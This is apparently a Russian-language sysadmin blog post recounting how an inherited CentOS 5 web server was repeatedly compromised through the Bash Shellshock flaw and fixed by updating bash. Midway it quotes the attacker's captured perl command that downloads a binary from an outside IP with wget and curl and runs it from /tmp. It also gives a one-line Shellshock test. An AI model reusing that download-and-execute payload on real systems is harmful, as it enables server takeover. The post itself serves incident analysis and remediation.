Взлом сервера centos через уязвимость Bash Shellshock

Достался мне в наследство сервер под управлением CentOS 5. Он выполнял роль web сервера, на нем размещались несколько сайтов, плюс он проксировал еще пару сайтов, размещенных на других серверах. Владельцы сервера были вынуждены его время от времени выключать или перезагружать, так как он был каким-то образом взломан и генерировал очень большой поток траффика, который блокировал все остальные сервисы, размещенные на этом же канале.

Хочу поделиться с вами достаточно любопытной историей того, как я пытался вылечить этот взломанный сервер. Я не был хорошо знаком ни с сетью, ни с содержимым сервера, поэтому решение проблемы для меня было не тривиальным.

Анализируем содержимое взломанного сервера

Первым делом я отключил сервер от интернета, загрузил его и стал изучать. За сервером давно никто не приглядывал, он работал сам по себе, внимание не привлекал, пока не начались проблемы. Мое внимание первым делом привлек файловый обменник, организованный с помощью достаточно популярного движка на php. Я подумал, что взломали сервер через него и начали пользоваться его ресурсами. Ограничил доступ к обменнику через апачевский .htaccess. Изучил дальнейшее содержимое, отключил все лишние сайты, там был целый зоопарк ненужного старья, за которым никто не следил и который никому не был нужен. Но были несколько сайтов, ради которых и требовалось оживить сервер.

Обновление не стал запускать, его не делали несколько лет, был шанс, что что-то не заведется после обновления. Хорошо знаю поговорку и не раз убеждался в ее верности: "Не было печали - апдейтов накачали". Вручную просмотрел все имеющиеся логи, не увидел ничего подозрительного. Ни авторизаций левых, ни задач cron или утилиты at не было. Сервер стоит за шлюзом, который форвардит на него только 80-й порт.

Запустил сервер, открыл доступ из инета к нему и стал наблюдать. Несколько дней все было в порядке. Я решил, что сервер действительно был взломан через файловый обменник и сейчас все в порядке. Но я ошибся. Через несколько дней симптомы повторились. Сервер стал генерировать огромное количество траффика и забивать весь канал. Причем настолько сильно, что проблематично было не только на него зайти, но и на шлюз, который форвардил на него траффик.

Подбираем средства мониторинга взломанного сервера

Зашел я таки на шлюз, стал там смотреть загрузку канала. Весь траффик шел от одного статического IP к серверу и обратно. Проверка этого IP ничего не дала, какой-то адрес в Германии. На сам взломанный web сервер я заходил по ssh, но реально ничего не мог там сделать, все жутко лагало, экран обновлялся по минуте. Снова отключил сервер от инета и стал его изучать.

В логах httpd было очень много записей, реально там что-то разглядеть я не смог, да и не знал, что конкретно искать. Какого-то множества запросов, которые могли бы приводить к подобным лагам я не увидел. Из подозрительного заметил в разделе /tmp файлик mysqld со свежей датой создания. Сразу заподозрил что-то неладное. Файлик был бинарный, его содержимое мне ничего не сказало. Сохранил его на память, из /tmp удалил. Решил еще раз запустить сервер и вооружиться инструментами мониторинга. Для этого установил на сервер atop, htop, iftop и стал ждать нагрузки.

Она не заставила себя долго ждать. Через некоторое время все повторилось. Первым делом запустил atop, но он мне ничего интересного не показал. iftop показал полную загрузку канала сервера опять с одного статического адреса, в этот раз уже другого. А вот с помощью htop удалось увидеть любопытную информацию, которая мне и помогла установить средство взлома сервера. Вот скриншот, который я успел сделать на лагающем сервере:

/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!";system(\"wget http://192.52.166.113/mysqld -O /tmp/mysqld;curl -O /tmp/mysqld http://192.52.166.113/mysqld;perl /tmp/mysqld -rf /tmp/mysqld");'"

Здесь мы наблюдаем и IP, который я видел ранее и файл /tmp/mysqld. Взломанный сервер снова отключил от интернета и стал искать информацию. Что-то полезное я нашел не сразу. Пришлось всячески изменять запрос поиска в гугле. Понятно, что ip адрес и название файла не уникальные, они скорее всего постоянно меняются.

В конечном счете я нашел информацию о похожих взломах сервера. Оказалось, что использовалась уязвимость в bash, с помощью которой можно было исполнять произвольный код на сервере, что мы и наблюдаем в моем случае. Подробнее об этой уязвимости можно почитать тут. Эта уязвимость получила название Shellshock.

Для того, чтобы проверить, подвержен ли ваш сервер этой уязвимости, нужно в консоли ввести команду:

env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

Если вывод будет:

Bash is vulnerable!
Bash Test

Значит ваш сервер тоже подвержен этой уязвимости. Для ее закрытия необходимо обновить bash до последней версии. В моем случае это заняло несколько секунд с помощью команды:

yum update bash

После этого взломы сервера прекратились. Кстати, если бы я повнимательнее посмотрел логи apache, то смог бы заметить эти запросы с bash командой. Но мне они не попались, поэтому пришлось подольше повозиться.

Помогла статья? Подписывайся на telegram канал автора

Рекомендую полезные материалы по схожей тематике:

• Опасный вирус шифровальщик vault шифрует файлы пользователей и требует деньги за расшифровку.